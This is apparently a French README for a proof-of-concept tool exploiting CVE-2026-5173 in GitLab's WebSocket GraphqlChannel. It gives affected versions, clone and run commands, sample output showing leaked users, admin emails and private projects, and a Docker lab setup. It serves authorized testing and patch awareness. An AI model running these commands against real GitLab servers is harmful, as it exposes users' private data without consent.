🦊 CVE-2026-5173 : PoC d'exécution non autorisée de méthodes via le WebSocket de GitLab

🛠️ Aperçu

CVE-2026-5173 permet à un attaquant authentifié disposant de faibles privilèges d'appeler des méthodes backend restreintes via le point de terminaison WebSocket (/-/cable) de GitLab, notamment via GraphqlChannel.

Cela peut conduire à une exposition de données sensibles (confidentialité élevée) et à des actions non autorisées limitées.

Versions concernées

• GitLab CE/EE : 16.9.6 à 18.8.8
• 18.9 avant 18.9.5
• 18.10 avant 18.10.3

Corrigé dans : 18.8.9 • 18.9.5 • 18.10.3

⚡ Fonctionnalités

• PoC Python 3 propre et moderne
• Utilisation simple en une commande : python3 CVE-2026-5173.py http://target:8080
• Connexion WebSocket automatique + abonnement à GraphqlChannel
• Énumération de plusieurs méthodes (currentUser, users, projects, etc.)
• Prise en charge du Personal Access Token
• Belle sortie colorée
• Sûr pour une utilisation en laboratoire / pentest autorisé uniquement

🚀 Démarrage rapide

1. Cloner le dépôt

git clone https://github.com/0xBlackash/CVE-2026-5173.git
cd CVE-2026-5173

2. Exécuter le PoC

python3 CVE-2026-5173.py http://your-gitlab-lab:8080

Avec un token (recommandé) :

python3 CVE-2026-5173.py http://target.com:8080 -t glpat-XXXXXXXXXXXXXXXXXXXX

📸 Captures d'écran

Exemple de sortie réussie :

[+] CVE-2026-5173 PoC v2 - Target: http://192.168.1.100:8080
[+] WebSocket connected
[+] Subscribed to GraphqlChannel
[*] Testing method: currentUser
[SUCCESS] Possible unauthorized access via 'currentUser'!
    → Response: {"result":{"data":{"currentUser":{"id":"gid://gitlab/User/123","name":"Normal User","email":"[email protected]"}}}...

[*] Testing method: users
[SUCCESS] Possible unauthorized access via 'users'!
    → Response: {"result":{"data":{"users":{"nodes":[ {"id":"gid://gitlab/User/1","name":"Admin","email":"[email protected]"}, ... ]}}}  ← This leaks all users including admins!

[*] Testing method: projects
[SUCCESS] Possible unauthorized access via 'projects'!
    → Response: long list of ALL projects (even private ones you shouldn't see)

📋 Utilisation

python3 CVE-2026-5173.py <target> [options]

Arguments:
  target                Target URL (e.g. http://gitlab.example.com:8080)
  -t, --token           GitLab Personal Access Token (API scope)
  -h, --help            Show this help message

🧪 Configuration du laboratoire (recommandée)

docker run -d --name gitlab-vuln \
  -p 8080:80 -p 2222:22 \
  gitlab/gitlab-ce:18.10.2-ce.0

Créez ensuite un utilisateur normal et exécutez le PoC.

⚠️ Mentions légales et avertissement

• Ce PoC est destiné uniquement à des fins éducatives et de tests autorisés.
• Utilisez-le uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation explicite de test.
• Toute utilisation non autorisée est illégale et contraire à la loi.
• Je ne suis pas responsable de toute mauvaise utilisation.

📚 Références

• Publication officielle du correctif GitLab : https://about.gitlab.com/releases/2026/04/08/patch-release-gitlab-18-10-3-released/
• Fiche CVE : https://www.cve.org/CVERecord?id=CVE-2026-5173
• Avis GitHub : https://github.com/advisories/GHSA-5gj7-3j23-w2h2